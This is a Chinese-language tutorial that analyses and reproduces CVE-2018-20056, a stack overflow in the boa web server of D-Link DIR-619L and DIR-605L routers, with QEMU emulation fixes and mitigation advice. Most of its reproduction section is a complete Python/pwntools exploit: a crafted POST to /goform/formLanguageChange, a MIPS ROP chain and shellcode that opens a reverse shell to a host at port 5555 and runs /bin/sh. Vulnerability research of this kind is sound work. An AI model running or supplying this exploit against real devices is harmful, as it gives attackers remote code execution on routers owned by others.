路由器漏洞分析系列(2):CVE-2018-20056 DIR-619L&605L 栈溢出漏洞分析及复现
字数 1403 2025-08-27 12:33:37
D-LINK DIR-619L & DIR-605L 栈溢出漏洞分析及复现教程 (CVE-2018-20056)
漏洞概述
本教程将详细分析D-LINK路由器中的栈溢出漏洞(CVE-2018-20056),并提供完整的复现方法。该漏洞影响以下设备版本:
- DIR-619L Rev.B 2.06B1版本之前
- DIR-605L Rev.B 2.12B1版本之前
漏洞存在于/bin/boa文件的formLanguage函数中,由于未对参数长度进行检查,导致远程攻击者可以通过构造特定HTTP请求实现远程代码执行。
漏洞原理
漏洞位置
漏洞位于formLanguageChange函数中,该函数处理语言切换请求。关键问题在于使用了不安全的sprintf函数,且未对输入参数进行长度检查。
漏洞触发流程
- 攻击者访问
http://[ip]/goform/formLanguageChange并指定currTime参数 websGetVar函数获取参数值sprintf函数将参数值写入固定大小的栈缓冲区(local_f8[200])- 当输入数据超过缓冲区大小时,导致栈溢出
关键代码分析
void formLanguageChange(undefined4 uParm1) {
char local_f8[200];
// ...
uVar3 = websGetVar(uParm1, "currTime", &DAT_004ac874);
__s1 = "/index.asp";
sprintf(local_f8, "%s?t=%s", __s1, uVar3); // 危险函数调用
websRedirect(uParm1, local_f8);
}
环境搭建与修复
固件获取
固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/
QEMU运行修复
在QEMU中直接运行bin/boa会遇到硬件模块缺失问题,需要进行以下修复:
1. 修复"Initialize AP MIB failed"错误
- 原因:缺少
apmib_init()函数 - 解决方案:通过动态库劫持
- 创建劫持库
apmib-ld.so,劫持以下函数:apmib_initapmib_getfork
- 运行命令:
LD_PRELOAD=./apmib-ld.so chroot . /qemu-mips-static bin/boa
2. 修复无法连接到路由器
- 问题:
getWizardInformation函数中的内存访问错误 - 解决方案:修改二进制文件
- 定位地址:
0x41b4d8 - 将
bnez指令改为beqz(二进制从0x14改为0x10)
- 定位地址:
3. 修复apmib.so中的段错误
- 问题:访问
http://ip/goform/formLanguage时出现段错误 - 解决方案:修改
apmib.so- 定位偏移:
0x5254 - 修改
0x51a8处的beqz为bnez
- 定位偏移:
漏洞利用分析
利用链构造
漏洞利用通过两个sprintf调用实现:
- 第一个
sprintf在formLanguageChange中溢出缓冲区 - 第二个
sprintf在send_r_moved_perm中完成ROP链构造
关键利用点
- 控制返回地址
- 构造ROP链实现代码执行
- 通过栈迁移技术绕过保护机制
漏洞复现
利用代码
import requests
import sys
import struct
from pwn import *
context.arch = 'mips'
context.endian = 'big'
ip = '192.168.75.150'
def syscmd1(a):
p = remote(ip, 80)
z = len(a)
print "[+]len:" + str(z)
payload = ''
payload += 'POST /goform/formLanguageChange HTTP/1.1\r\n'
payload += 'Host: ' + ip + '\r\n'
payload += 'Connection: keep-alive\r\n'
payload += 'Accept-Encoding: gzip, deflate\r\n'
payload += 'Accept: */*\r\n'
payload += 'User-Agent: python-requests/2.18.4\r\n'
payload += 'Content-Length: ' + str(z + 9) + '\r\n'
payload += 'Content-Type: application/x-www-form-urlencoded\r\n'
payload += '\r\n'
payload += 'currTime='
payload += a + '\r\n'
p.send(payload)
p.recvuntil('</html>')
p.close()
# libc.so.0基地址
base1 = 0x2ab88000
# Shellcode构造
sc = struct.pack(">I", 0x24060101)
sc += struct.pack(">I", 0x04d0ffff)
sc += struct.pack(">I", 0x2806ffff)
sc += struct.pack(">I", 0x27bdffe0)
sc += struct.pack(">I", 0x27e41001)
sc += struct.pack(">I", 0x2484f023)
sc += struct.pack(">I", 0xafa4ffe8)
sc += struct.pack(">I", 0xafa0ffec)
sc += struct.pack(">I", 0x27a5ffe8)
sc += struct.pack(">I", 0x24020fab)
sc += struct.pack(">I", 0xafa00108)
sc += struct.pack(">I", 0x0101010c)
sc += "/bin//sh\x00"
shellcode = ''
shellcode += asm(shellcraft.connect('192.168.75.149', 5555))
shellcode += asm(shellcraft.dup2(5, 0))
shellcode += asm(shellcraft.dup2(5, 1))
shellcode += sc
# ROP链构造
s0 = struct.pack(">I", base1 + 0x2C794)
s1 = struct.pack(">I", base1 + 0x2C794)
s2 = struct.pack(">I", base1 + 0x24b70) # move $t9,$s2;...;jr $t9
s3 = struct.pack(">I", base1 + 0x2bdac) # sleep(1)
s4 = struct.pack(">I", base1 + 0x2bdac)
# 构造payload
payload1 = 'a' * 0x167 + s0 + s1 + s2 + s3
payload1 += struct.pack(">I", base1 + 0x25714) # li $a0,1;move $t9,$s1;jalr $t9;ori $a1,$s0,2
payload1 += 'b' * 0x1c + s0 + s1 + s2 + s3 + s4
payload1 += struct.pack(">I", base1 + 0x5f98) # lw $ra,0x1c($sp);...;jr $ra
payload1 += 'c' * 0x1c
payload1 += s3
payload1 += 'd' * 0x18
payload1 += struct.pack(">I", 0x24910101) # addiu $s1,$a0,257;addi $s1,$s1,-257;move $t9,$s1;jalr $t9
payload1 += struct.pack(">I", 0x2231feff)
payload1 += struct.pack(">I", 0x0220c821)
payload1 += struct.pack(">I", 0x0320f809)
payload1 += struct.pack(">I", 0x2231feff)
payload1 += struct.pack(">I", 0x2231feff)
payload1 += struct.pack(">I", base1 + 0x2bda0) # mov $t9,$a0;...;jalr $t9
payload1 += 'e' * 0x20 + shellcode
if __name__ == "__main__":
syscmd1(payload1)
复现步骤
- 搭建QEMU模拟环境
- 应用上述修复补丁
- 运行修复后的
boa服务 - 执行利用代码,发送恶意请求
- 观察反向连接是否成功
防护建议
- 升级到最新固件版本
- 替换不安全的
sprintf函数为snprintf - 对所有输入参数进行长度检查
- 启用栈保护机制(如ASLR、Stack Canary)
参考资源
- GitHub PoC代码
- 《揭秘家用路由器0day漏洞挖掘技术》3.1节